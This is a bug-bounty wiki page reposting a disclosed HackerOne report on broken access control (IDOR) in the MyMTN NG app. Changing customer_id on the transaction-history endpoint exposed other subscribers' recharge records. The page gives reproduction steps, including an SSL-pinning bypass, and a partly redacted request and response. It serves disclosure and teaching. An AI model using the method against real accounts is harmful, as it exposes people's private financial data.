Skip to content
IDOR Disclosed report Beginner

Broken Access Control leads to disclosure of transaction history via /v2/rechargeTransactionHistory endpoint

The recharge transaction history endpoint on the MyMTN NG mobile app did not properly check that the requesting user owned the customer_id being queried. An attacker could change the customer_id to another MTN number and read that victim's transaction history, including dates, amounts and transaction identifiers.

hafiz-ng Follow

Originally disclosed on HackerOne

  • Triaged in 49 days
  • Fixed in 4 months
  • Disclosed after 5 months

An API endpoint discovered on the MyMTN NG mobile app fails to adequately enforce authorization and authentication mechanisms. Essentially, it allows a bad actor to access the transaction history details for other victims which include rechargeDate, amountAfter, amountBefore and transactionId due to an insufficient authorization check.

Steps To Reproduce:

  1. Log into the myMTN NG mobile app.
  2. Set up your proxy tool to intercept the mobile API traffic and bypass the SSL pinning mechanism.
  3. Visit the transaction history section within the app and intercept the request with your proxy tool.
  4. Replace the customer_id field to any arbitrary MTN number to disclose transaction details of the victim.

Supporting Material/References:

{█████████}

Request to vulnerable endpoint

POST
Host: ████████
Content-Type: application/json
Access-Control-Allow-Origin: *
Accept: application/json
Authorization: ██████
X-Country-Code: nga
Msisdn-Code: 234
Accept-Encoding: gzip, deflate, br
Accept-Language: en-us
Content-Length: 77
User-Agent: myMTN%20NG/14 CFNetwork/1220.1 Darwin/20.3.0

{"customer_id":"2347032233323","start_date":"██████████","end_date":"█████████"}

Response

{"sequenceNumber":"b5fb6af-bc59-57dd-a","data":[{"rechargeDate":"████","amountAfter":"878190.940000","adjustmentType":"RECHARGE","amountBefore":"828190.940000","subscriberId":"2347032233323","rechargeHistory":[{"payType":"VTU","rechargeAmount":"50000.0","description":"VTU"}],"transaction":"VTU"},{"rechargeDate":"███████","amountAfter":"828190.940000","adjustmentType":"RECHARGE","amountBefore":"778190.940000","subscriberId":"2347032233323","rechargeHistory":[{"payType":"VTU","rechargeAmount":"50000.0","description":"VTU"}],"transaction":"VTU"}],"transaction":"VTU"}],"success":true,"resultCode":"0000","links":[],"resultDescription":"Success","transactionId":"████████141033000481","status":200,"statusCode":200}```

## Impact

The potential impact this vulnerability may have on MTN NG can be summarized as follows:

- The impact of this exposure of PII can be devastating to your company, with fallout ranging from recovery costs to decreased customer trust. 
-  Attackers with access to this private information about a victim can use this information to carryout other nefarious activities.

The original report as published on HackerOne, by hafiz-ng. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the endpoint authorised the request only by a valid session token and then trusted the client-supplied customer_id, without verifying that the authenticated user owned that customer_id.

Impact

An attacker could read other customers' recharge transaction history, including dates, before and after balances and transaction identifiers, which the report says could expose PII and be used for further malicious activity.

What the attacker needed

A MyMTN NG account; proxy tool with SSL pinning bypass; knowledge of a victim's MTN number

How it was found

  1. Log into the MyMTN NG mobile app.
  2. Configure a proxy to intercept the mobile API traffic and bypass SSL pinning.
  3. Open the transaction history section and intercept the request.
  4. Replace the customer_id field with an arbitrary MTN number to disclose the victim's transaction details.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An API is the part of an app that talks to the company's servers. This endpoint returned a customer's transaction history but trusted the customer_id sent in the request without checking it belonged to the logged-in user. By swapping that number for someone else's phone number, an attacker could see another person's recharge records.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More from MTN Group

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.